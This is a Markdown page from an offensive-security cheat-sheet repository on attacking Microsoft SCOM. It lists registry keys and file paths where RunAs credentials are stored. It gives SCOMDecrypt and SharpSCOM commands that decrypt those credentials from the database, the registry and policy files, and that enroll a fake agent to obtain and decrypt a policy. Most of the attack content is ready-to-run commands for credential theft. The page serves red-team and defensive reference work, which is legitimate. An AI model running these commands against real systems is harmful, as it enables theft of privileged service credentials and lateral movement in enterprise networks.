deployment-scom.md (2905B)
1 --- 2 title: "Deployment - SCOM" 3 section: "Active Directory" 4 sectionSlug: "active-directory" 5 sourcePath: "docs/active-directory/deployment-scom.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/deployment-scom.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Deployment - SCOM 12 13 > Microsoft SCOM (System Center Operations Manager) is a monitoring tool used to oversee the health and performance of servers, applications, and infrastructure in IT environments. It collects data from systems, generates alerts for issues, and provides dashboards and reports for administrators. 14 15 ## Tools 16 17 * [breakfix/SharpSCOM](https://github.com/breakfix/SharpSCOM) - A C# utility for interacting with SCOM. 18 * [nccgroup/SCOMDecrypt](https://github.com/nccgroup/SCOMDecrypt) - SCOMDecrypt is a tool to decrypt stored RunAs credentials from SCOM servers. 19 20 ## SCOM “RunAs” credentials 21 22 ### Recovery from SCOM database 23 24 The location of the SCOM database containing the RunAs credentials can be found by querying the following registry keys: 25 26 ```ps1 27 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseServerName 28 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\System Center\2010\Common\Database\DatabaseName 29 ``` 30 31 Decrypt the stored credentials stored inside the SCOM management server database: 32 33 ```ps1 34 .\SCOMDecrypt.exe 35 powershell-import C:\path\to\SCOMDecrypt.ps1 36 powershell Invoke-SCOMDecrypt 37 ``` 38 39 ### Recovery via Registry 40 41 Stored at `HKLM\SYSTEM\CurrentControlSet\Services\HealthService\Parameters\Management Groups\$MANAGEMENT_GROUP$\SSDB\SSIDs\`. 42 43 ```ps1 44 .\SharpSCOM.exe DecryptRunAs 45 ``` 46 47 ### Recovery via Policy File 48 49 Use DPAPI to decrypt the RunAs credential from the policy. 50 51 ```ps1 52 cat C:\Program Files\Microsoft Monitoring Agent\Agent\Health Service State\Connector Configuration Cache\$MANAGEMENT_GROUP_NAME$\OpsMgrConnector.Config 53 SharpSCOM DecryptPolicy /data:<base64-encrypted-data> 54 ``` 55 56 ### Recovery after enrolling a new agent 57 58 **Requirements**: 59 60 * Management group name: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HealthService\Parameters\Management Groups\*` 61 62 ```ps1 63 SharpSCOM.exe autoenroll /managementgroup:SCOM1 /server:scom.domain.lab /hostname:fake1.domain.lab /outfile:C:\Users\admin\desktop\policy_new.xml 64 65 # After enrolling a new agent, the attacker can decrypt the policy 66 SharpSCOM.exe decryptpolicy /data:"DAEAAA<REDACTED> /key:<RSAKeyValue><Modulus><REDACTED></D></RSAKeyValue> 67 ``` 68 69 ## References 70 71 * [SCOMmand And Conquer – Attacking System Center Operations Manager (Part 2) - Matt Johnson - December 10, 2025](https://specterops.io/blog/2025/12/10/scommand-and-conquer-attacking-system-center-operations-manager-part-2/) 72 * [SCOMplicated? – Decrypting SCOM “RunAs” credentials - Rich Warren - February 23, 2017](https://www.nccgroup.com/research-blog/scomplicated-decrypting-scom-runas-credentials/)